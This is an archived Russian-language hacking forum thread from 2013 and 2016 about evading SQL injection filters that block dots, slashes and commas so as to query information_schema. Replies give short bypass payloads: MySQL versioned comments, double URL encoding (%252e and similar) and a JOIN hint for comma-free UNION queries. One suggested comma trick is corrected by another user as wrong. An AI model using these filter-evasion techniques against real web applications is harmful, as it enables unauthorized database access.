PDA

Просмотр полной версии : SQL инъекция и фильтрация точек


Euler
19.03.2013, 00:57
Доброго времени суток. Если в запросе фильтруются точки, то можно как-нибудь обратится к "INFORMATION_SCHEMA.TABLES"? Если ответ положительный, то как?

cat1vo
19.03.2013, 02:17
SELECT table_name FROM tables WHERE table_sch ema='information_schema';

SELECT table_name FROM information_schema/*!.*/tables;

Euler
19.03.2013, 02:40
SELECT table_name FROM tables WHERE table_sch ema='information_schema';

SELECT table_name FROM information_schema/*!.*/tables;



1. #1046 - No database selected

2. Используется точка. А в моём случае ещё и слеш фильтруется(и амперсанд).

Konqi
19.03.2013, 03:04
SELECT table_name FROM tables WHERE table_sch ema='information_schema';

SELECT table_name FROM information_schema/*!.*/tables;



wtf??

вы проверяете что пишите?

откуда вы сфантазировали таблицу tables в нынешней базе?

второй запрос это всего лишь обход ваф, а фильтрации могут быть реализованы по разному

Euler
19.03.2013, 03:08
Легко, закодируй весь запрос в URLdecode


У меня это тоже первая мысль была, но не всё так просто...

upd. Вторая мысль - использовать CONCAT и CHAR, но в имени таблицы их использовать не получается.

BigBear
19.03.2013, 04:06
select*from information_schema%2etables

select*from information_schema%252etables

Euler
19.03.2013, 04:36
select*from information_schema%2etables

select*from information_schema%252etables



верхний не работает и понятно почему. Но почему второй сработал? После декодирования получается ведь information_schema%.tables, что не соответствует синтаксису.

Га-Ноцри
19.03.2013, 05:21
верхний не работает и понятно почему. Но почему второй сработал? После декодирования получается ведь
information_schema%.tables
, что не соответствует синтаксису.


Если не ошибаюсь, подобная техника обхода, в данном случае фильтра на точку, называется Double Encoding. Еще варианты:

точка %252e

прямой слэш %252f

обратный слеш %255c

Грабитель
19.03.2013, 06:04
select table_name from information_schema,tables

Мне помог однажды такой запрос.

Не можешь использовать точку, используй запятую.

nikp
19.03.2013, 13:14
select table_name from information_schema,tables
Мне помог однажды такой запрос.
Не можешь использовать точку, используй запятую.


Запрос делает полное обьединение таблиц information_schema и tables (full join, ищет их в текущей базе) и в нем ищет колонку table_namе.

Если его подать напрямую на вход MySql - будет ошибка.


ERROR 1146 (42S02): Table 'test.information_schema' doesn't exist


Сработает, только если обрабатывается предварительно и обработчик меняет ',' на '.'

Т.е. совет поможет вряд ли...

leksadin
03.12.2016, 17:41
а если фильтруется запятая - что можно придумать?

BabaDook
03.12.2016, 18:42
Вариантов так много что это гадание

leksadin
03.12.2016, 19:12
я делаю UNION select VERSION(),2,3

но запятые нельзя. Можно конечно как слепую крутить, через like. Но нужно union'ом

BabaDook
03.12.2016, 19:23
↑ (https://antichat.live/posts/4020323/)
я делаю UNION select VERSION(),2,3
но запятые нельзя. Можно конечно как слепую крутить, через like. Но нужно union'ом


join

leksadin
03.12.2016, 20:05
↑ (https://antichat.live/posts/4020324/)
join


А можно чуть подробнее ? плиииз =)

JOIN же объединяет таблицы

HAXTA4OK
04.12.2016, 08:23
↑ (https://antichat.live/posts/4020335/)
А можно чуть подробнее ? плиииз =)
JOIN же объединяет таблицы


https://rdot.org/forum/showpost.php?p=21290&postcount=13

закрыто, все вопросы в спец тему.